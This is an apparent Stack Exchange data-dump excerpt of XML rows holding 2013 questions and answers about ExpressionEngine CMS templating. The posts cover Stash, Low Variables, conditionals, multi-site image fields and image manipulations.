  <row Id="12110" PostTypeId="2" ParentId="12097" CreationDate="2013-07-19T11:12:33.563" Score="0" Body="&lt;p&gt;Stash is...hard to grok. The new docs are much better then the old:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki&lt;/a&gt; ..but still hardly a 'beginners guide'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this the best of the simpler guides:&#xA;&lt;a href=&quot;http://pixelfear.com/blog/stash-workflow&quot; rel=&quot;nofollow&quot;&gt;http://pixelfear.com/blog/stash-workflow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and I am a LONG way from an expert....but here's my 2c:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, this is a structure for setting up a router -&gt; data model -&gt; visual template approach.  It's pretty simple once you try it.  You don't necessarily need to use the routing approach, but the basic idea of it is to nicely separate your getting &amp;amp; processing of the data from your channel(s) - and then the display of this data.  I've taken it a step further and broken my display side of things into very modular chunks (I call them stash chunks but I actually store them as early parsed low variables, which are the same as snippets but I can group them and work with them on disk...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway - basically it goes like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Routing template:&lt;/strong&gt;&#xA;Grab any data you need initially and stash set it (e.g. list of categories).  Then your routing template parses the URL (switchee, low seg2cat &amp;amp; using any data grabbed in the initial step) and directs the request to the appropriate model (stash:embed:my_model).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Model&lt;/strong&gt;:&#xA;The model grabs all the required data (exp:channel:entries or exp:low_reorder etc) - and stash sets it (as single stash sets or lists).  You can have different models pulling from different channels, but setting the same stash data (meaning you can use the same chunks in your view/display template that will accept this data - neatly getting around the 'different but similar channels can't share the same fields with the same name issue that is mind numbingly dumb about EE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model also stash embeds a 'view template' (and can do so conditionally based on the retrieved data, for example - so you can vary your actual display template based on what your data model retrieved.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;View/Layout&lt;/strong&gt;:&#xA;Your view is basically html/css wrapped around a bunch of stash gets/get_lists.  As I said, you can chunk this in to highly repeatable little blocks (stored as snippets/low vars).  So you can then build you actual pages out of these re-usable modular blocks that receive the injected data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially, avoid all caching stuff.  That's what I have done - I suspect that's why your pages won't refresh..I havent even tried it yet but it will certainly complicate things initilly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach makes the data grabbing stuff really easy and avoids a LOT of the parse order crap.  It's pretty much a classic MVC approach....and very very DRY.  Indeed if you go too crazy with chunking, it can be almost too DRY!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, @jason_varga explains it better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash really is pretty awesome and it can probably do what you want...it's jsut hard to get initially and could do with some basic 'if you want to do this -&gt; do this' type guides.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2013-07-19T11:12:33.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12111" PostTypeId="2" ParentId="12109" CreationDate="2013-07-19T14:18:04.340" Score="1" Body="&lt;p&gt;Try uninstalling/reinstalling the extension (only). If that doesnt work, what ither extensions are installed?&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-07-19T14:18:04.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12113" PostTypeId="1" CreationDate="2013-07-19T14:43:28.097" Score="1" ViewCount="55" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if url}&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Website&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt; &amp;lt;a target=&quot;_blank&quot; href=&quot;{url}&quot;&amp;gt;{company_name}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;hr /&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However,because the website field in EE's member profile always has &quot;http://&quot; inserted by default, the above code will always return true and display the conditional HTML. I am having to edit profile, remove the &quot;http://&quot; bit and save. Even then the &quot;http&quot; bit is inserted back in again but the code above will work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to get around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-07-19T16:31:02.010" Title="How to check if EE member has a website address (field carries http:// so it always returns true )" Tags="|conditionals|member-details|ifelse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12114" PostTypeId="1" CreationDate="2013-07-19T15:49:55.757" Score="0" ViewCount="64" Body="&lt;p&gt;I have a Low Variable titled lv_accreditations to allow the client to select a series of logos to display in the site footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variable is set to Enable Early Parsing and to output a comma seperated list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, i'm unsure how to actually display these in a template so that I can add additional tags around the outputted list. I'm using the following but i'm just not sure what to put in the src attribute and have the li created for image image in the Select Files field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_accreditations&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;img src=&quot;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Grateful for any assistance with this one. :)&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-07-19T15:58:18.900" Title="How to display Select Files field using Low Variables" Tags="|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12115" PostTypeId="2" ParentId="12114" CreationDate="2013-07-19T15:58:18.900" Score="1" Body="&lt;p&gt;Heh, after a bit more sweating here in blighty I managed to figure it out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_accreditations&quot; multiple=&quot;yes&quot;}&#xA;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;img src=&quot;{lv_accreditations:data}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-07-19T15:58:18.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12116" PostTypeId="2" ParentId="12113" CreationDate="2013-07-19T16:21:53.483" Score="0" Body="&lt;p&gt;If you are not entering any value within the URL then nothing will not be saved into database for member URL even if URL text box is showing &quot;http://&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL text box always shows &quot;http://&quot; to help the user to enter correct URL format with &quot;http://&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the condition &lt;code&gt;{if url}&lt;/code&gt; will return false if URL is not entered during registration or edit profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please share if I need to describe more.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-19T16:21:53.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12117" PostTypeId="1" CreationDate="2013-07-19T16:27:09.433" Score="1" ViewCount="233" Body="&lt;p&gt;How do I get the if statement below, to return TRUE and therefore return my string &quot;Africa is in this array&quot;? Note: template is set to parse on INPUT (I cant use output for this template)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php &#xA;    $entryregion=&quot;{categories show_group='4' backspace='2'}{category_name}, {/categories}&quot;;&#xA;    $entryregionArr=(explode(',',$entryregion));&#xA;    print_r($entryregionArr);&#xA;    echo &quot;&amp;lt;br /&amp;gt;&quot; ;&#xA;    if (in_array('Africa', $entryregionArr)) {&#xA;        echo &quot;Africa is in this array&quot;;&#xA;&#xA;    }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the above &lt;code&gt;print_r($entryregionArr);&lt;/code&gt; prints an array that looks like this. &lt;code&gt;Array ( [0] =&amp;gt; Africa [1] =&amp;gt; South Africa [1] =&amp;gt; Durban [1] =&amp;gt; )&lt;/code&gt; I &lt;em&gt;think&lt;/em&gt; I want it to look more like this  &lt;code&gt;Array ( [0] =&amp;gt; Africa [1] =&amp;gt; South Africa [2] =&amp;gt; Durban )&lt;/code&gt; where Durban is in the 2nd key and the last key id deleted, but I am not sure why or how to do this. I have tried &lt;code&gt;parse='inward'&lt;/code&gt; in the category tag.  I had a recent suggestion through this site to use  the explode() function and I am grateful because it has shown me that this is where my error is. Well, one step at a time. Any suggestions would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1246" LastEditorUserId="1246" LastEditDate="2013-07-24T19:10:35.633" LastActivityDate="2013-08-23T19:16:46.887" Title="Using categories in my php variable?" Tags="|categories|php|parse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12118" PostTypeId="2" ParentId="12113" CreationDate="2013-07-19T16:31:02.010" Score="3" Body="&lt;p&gt;For a solution for now, how about a different conditional?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{url}&quot; != &quot;http://&quot;}&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Website&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt; &amp;lt;a target=&quot;_blank&quot; href=&quot;{url}&quot;&amp;gt;{company_name}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;hr /&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-07-19T16:31:02.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12119" PostTypeId="1" CreationDate="2013-07-19T16:43:47.913" Score="0" ViewCount="168" Body="&lt;p&gt;EE 2.5.3&#xA;MSM 2.1.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9 site MSM install where this code is on site 9 calling content from site 1. All content is pulled correctly except this field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following conditional which is returning the html inside the conditional correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if press-image}&#xA;&amp;lt;p class=&quot;press-image&quot;&amp;gt;&#xA;&#xA;    {!--&#xA;    &amp;lt;img src=&quot;{press-image}&quot; alt=&quot; &quot; height=&quot;120&quot; width=&quot;160&quot; class=&quot;pretty-box&quot;/&amp;gt;&#xA;    --}&#xA;&#xA;    {exp:ce_img:single src=&quot;{press-image}&quot; height=&quot;120&quot; width=&quot;160&quot; class=&quot;pretty-box&quot;}&#xA;&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the source for the image is returning blank. This happens regardless of whether I'm using CE Image or not. I've also tried placing {press-image} by itself in the template and it returns nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why the conditional would work but not output the field that is checking. Any ideas on why this would be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;***&lt;/strong&gt;&lt;em&gt;UPDATE&lt;/em&gt;&lt;strong&gt;&lt;em&gt;*&lt;/em&gt;****&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More code as per lisa's request in the comments&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;press&quot; site=&quot;default_site&quot; disable=&quot;member_data|category_fields&quot; category_group_id=&quot;2&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot;}&#xA;&amp;lt;article&amp;gt;&#xA;    &amp;lt;!-- Blog Post --&amp;gt;&#xA;    &amp;lt;section class=&quot;blog-post&quot;&amp;gt;&#xA;        &amp;lt;!-- Blog Post Title --&amp;gt;&#xA;&#xA;        {if press-image}&#xA;        &amp;lt;p class=&quot;press-image&quot;&amp;gt;&#xA;&#xA;            {!--&#xA;            &amp;lt;img src=&quot;{press-image}&quot; alt=&quot; &quot; height=&quot;120&quot; width=&quot;160&quot; class=&quot;pretty-box&quot;/&amp;gt;&#xA;            --}&#xA;&#xA;            {exp:ce_img:single src=&quot;{press-image}&quot; height=&quot;120&quot; width=&quot;160&quot; class=&quot;pretty-box&quot;}&#xA;        &amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;header&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/media/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/header&amp;gt;&#xA;&#xA;more code here&#xA;&amp;lt;/article&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also tried the following in the middle of the channel:entries tag but not in a conditional and it output nothing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{press-image}{path}/{filename}.{extension}{/press-image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;**&lt;/strong&gt;&lt;em&gt;UPDATE 2&lt;/em&gt;&lt;strong&gt;&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;/strong&gt;/&#xA;Have now created a new test template that contains only the following code - problem persists.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;blog&quot;&amp;gt;&#xA;    &amp;lt;!-- Begin Blog Post --&amp;gt;   &#xA;    {exp:channel:entries channel=&quot;press&quot; site=&quot;default_site&quot; disable=&quot;member_data|category_fields&quot; category_group_id=&quot;2&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot;}&#xA;    &amp;lt;article&amp;gt;&#xA;        &amp;lt;!-- Blog Post --&amp;gt;&#xA;        &amp;lt;section class=&quot;blog-post&quot;&amp;gt;&#xA;            &amp;lt;!-- Blog Post Title --&amp;gt;&#xA;&#xA;            &amp;lt;p class=&quot;press-image&quot;&amp;gt;&#xA;            press   &#xA;&#xA;                &amp;lt;img src=&quot;{press-image}&quot; alt=&quot; &quot; height=&quot;120&quot; width=&quot;160&quot; class=&quot;pretty-box&quot;/&amp;gt;&#xA;&#xA;&#xA;                {exp:ce_img:single src=&quot;{press-image}&quot; height=&quot;120&quot; width=&quot;160&quot; class=&quot;pretty-box&quot;}&#xA;&#xA;                {press-image}{path}/{filename}.{extension}{/press-image}&#xA;&#xA;            image&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;header&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/media/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/header&amp;gt;&#xA;            &amp;lt;!-- Blog Post Date --&amp;gt;&#xA;            &amp;lt;div class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%M  %d%S %Y&quot;} &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;/media/{url_title}&quot; style=&quot;font-size:110%;&quot;&amp;gt;Read More&amp;amp;hellip;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/section&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is the source code on the front end of the site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;blog-post&quot;&amp;gt;&#xA;            &amp;lt;!-- Blog Post Title --&amp;gt;&#xA;&#xA;            &amp;lt;p class=&quot;press-image&quot;&amp;gt;&#xA;            press&#xA;&#xA;                &amp;lt;img src=&quot;&quot; height=&quot;120&quot; width=&quot;160&quot; class=&quot;pretty-box&quot;&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;            image&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;header&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/media/some-url-title&quot;&amp;gt;Entry Title Here&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/header&amp;gt;&#xA;            &amp;lt;!-- Blog Post Date --&amp;gt;&#xA;            &amp;lt;div class=&quot;date&quot;&amp;gt;Jun  30th 2013 &amp;lt;br&amp;gt;&amp;lt;a href=&quot;/media/some-url-title&quot; style=&quot;font-size:110%;&quot;&amp;gt;Read More…&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;**&lt;/strong&gt;&lt;em&gt;UPDATE 3&lt;/em&gt;&lt;strong&gt;&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now put the following code on both the site1 site and the site that is causing trouble. In site1 the image url is output, in the trouble site nothing is output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    a{press-image}b&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2013-07-19T20:22:57.130" LastActivityDate="2013-07-25T23:04:27.877" Title="conditional returns result, but doesn't" Tags="|conditionals|multi-site-manager|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12120" PostTypeId="2" ParentId="12093" CreationDate="2013-07-19T16:56:52.687" Score="0" Body="&lt;p&gt;I ended up changing direction and making two category groups. One for Products and one for Sections. The can enter a list of products in the category Products and use Sections for the 'category' segments. This way I can just use &quot;EE2 Child Categories&quot; plugin by Nico to sort and filter as needed throughout the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remedy the category url in the title, I just wrap everything in a query like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT cat_id, parent_id FROM exp_categories WHERE cat_url_title='{segment_2}'&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way I can use the ID's and render the names and links for everything after.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-07-19T16:56:52.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12121" PostTypeId="2" ParentId="11973" CreationDate="2013-07-19T17:57:52.197" Score="1" Body="&lt;p&gt;You have 2 way to let user book each table/slot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First is to display separate for for each entry. To do this, change &lt;code&gt;{exp:reeservation:form entry_id=&quot;{segment_2}&quot;}&lt;/code&gt; to &lt;code&gt;{exp:reeservation:form entry_id=&quot;{entry_id}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to present table/slot selection as dropdown field. Then your code will look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:reeservation:form}&#xA;&amp;lt;p&amp;gt;Table/slot*: &amp;lt;select name=&quot;entry_id&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;reserve_table&quot; dynamic=&quot;no&quot; disable=&quot;categories|custom_fields|member_data&quot;}&#xA;&amp;lt;option value=&quot;entry_id&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Name: &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Email: &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Phone*: &amp;lt;input type=&quot;text&quot; name=&quot;phone&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Booking date*: &amp;lt;input type=&quot;text&quot; name=&quot;date_from&quot; id=&quot;date_from&quot; value=&quot;{current_time format=&quot;%Y-%m-%d&quot;}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Leave a comment for your booking: &amp;lt;textarea name=&quot;comment&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Proceed&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:reeservation:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-07-19T17:57:52.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12122" PostTypeId="2" ParentId="12068" CreationDate="2013-07-19T17:58:51.907" Score="0" Body="&lt;p&gt;Not sure if this will help but, Have you tried to echo out your result of the switch? to see what it's result is?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if pt_switch == 'y'}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    switch is set to yes&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the opposite&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {pt_switch}&#xA;    {if pt_switch != 'y'}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    switch is not to yes&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1246" LastActivityDate="2013-07-19T17:58:51.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12123" PostTypeId="2" ParentId="9866" CreationDate="2013-07-19T18:54:44.910" Score="0" Body="&lt;p&gt;What we did was wrote a, extension and handle the hook that updated the entry and added it there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was for BrilliantRetail and we needed to add JSON to a field for each product when being added to the cart.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2013-07-19T18:54:44.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12125" PostTypeId="2" ParentId="3669" CreationDate="2013-07-19T22:02:54.877" Score="0" Body="&lt;p&gt;Strange, just had this happen to me after upgrading to 2.6.1. Replacing the cp_themes directory didn't fix the issue, but replacing the whole themes one did. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who knows. Hope this helps someone else.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2013-07-19T22:02:54.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12126" PostTypeId="1" AcceptedAnswerId="12137" CreationDate="2013-07-20T04:04:46.820" Score="2" ViewCount="94" Body="&lt;p&gt;I'm looping through multiple Channels:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_a|channel_b&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Say that &lt;code&gt;channel_a&lt;/code&gt; has &lt;code&gt;a_field&lt;/code&gt; and &lt;code&gt;channel_b&lt;/code&gt; has &lt;code&gt;b_field&lt;/code&gt;. I want to sort such that the values of &lt;code&gt;a_field&lt;/code&gt; and &lt;code&gt;b_field&lt;/code&gt; are consider part of the same list. I don't want to, say, sort all the &lt;code&gt;a_field&lt;/code&gt; first, then all the &lt;code&gt;b_field&lt;/code&gt; next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible to do this in EE?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-07-20T23:10:24.370" Title="How to sort field from multiple Channels?" Tags="|channel-entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12127" PostTypeId="1" AcceptedAnswerId="12164" CreationDate="2013-07-20T07:10:19.130" Score="2" ViewCount="46" Body="&lt;p&gt;I am trying to implement some codein the &lt;code&gt;member_delete&lt;/code&gt; hook in EE. But for testing purposes, I just want the hook to trigger but don't go ahead with the actual delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this? In some other form related extension hooks, I only need to set the error variables to be able to cancel submit. I am not sure if the same can be said of &lt;code&gt;member_delete&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-22T13:13:10.093" Title="Cancelling member deletion in member_delete hook handler" Tags="|hook|delete|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12128" PostTypeId="1" CreationDate="2013-07-20T11:16:12.240" Score="1" ViewCount="581" Body="&lt;p&gt;I really want to use the built in Image Manipulations to allow the images to be resized at the time of upload to help remove some of the extra server stress on load in the templates using CE Image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to create a few sizes small/medium/large and then use CE Image to modify these if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to continue using Assets, but not sure if the sizes will work with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise me if this is possible with Assets 2?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-07-20T17:13:51.140" Title="Does Assets allow you to use the built in Image Manipulations to resize on upload" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12129" PostTypeId="1" AcceptedAnswerId="12130" CreationDate="2013-07-20T11:22:24.300" Score="0" ViewCount="348" Body="&lt;p&gt;Are you able to apply image manipulations to images that are already uploaded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When does the image manipulation happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance you set a selection of manipulations, then you upload 50 images, then change the sizes in the manipulations, how do you have the 50 already uploaded images changed?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-07-20T13:46:41.010" Title="Image Manipulations on existing images?" Tags="|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12130" PostTypeId="2" ParentId="12129" CreationDate="2013-07-20T13:46:41.010" Score="4" Body="&lt;p&gt;The manipulations happen just after a file be uploaded and it can be updated by the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/sync_files.html&quot; rel=&quot;nofollow&quot;&gt;synchronize&lt;/a&gt; button on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html&quot; rel=&quot;nofollow&quot;&gt;file upload preferences&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can modify the preferences, but sadly you can't remove old manipulations from the server. If you remove a manipulation, its folder will remain on server and you need to delete it by FTP.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-20T13:46:41.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12131" PostTypeId="2" ParentId="12128" CreationDate="2013-07-20T15:12:35.180" Score="0" Body="&lt;p&gt;Assets respects the settings in the &quot;File upload preferences&quot;. So if you have set a maximum size there it will be applied to an Assets upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally don't bother with creating any alternative sizes with the &quot;Image Manipulations&quot; option. I just use &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt; to create whatever I need whenever I need it in the template code. Why bother to create any if you are going to use CE Image anyway? After the image has been called once the smaller image is cached, so no extra load on the server.&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2013-07-20T15:12:35.180" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12132" PostTypeId="1" AcceptedAnswerId="12134" CreationDate="2013-07-20T16:36:12.843" Score="0" ViewCount="62" Body="&lt;p&gt;I have an issue displaying my related content to an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To serve some context, I have a Channel called Projects, and I also have a Channel called Services.  In Projects I have a Relationship field called 'project_services' that pulls in content from the Services Channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a gist of my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/NickToye/6045642&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/NickToye/6045642&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where am I going wrong?&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2013-07-20T20:13:35.837" Title="Related Content issue" Tags="|relationships|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
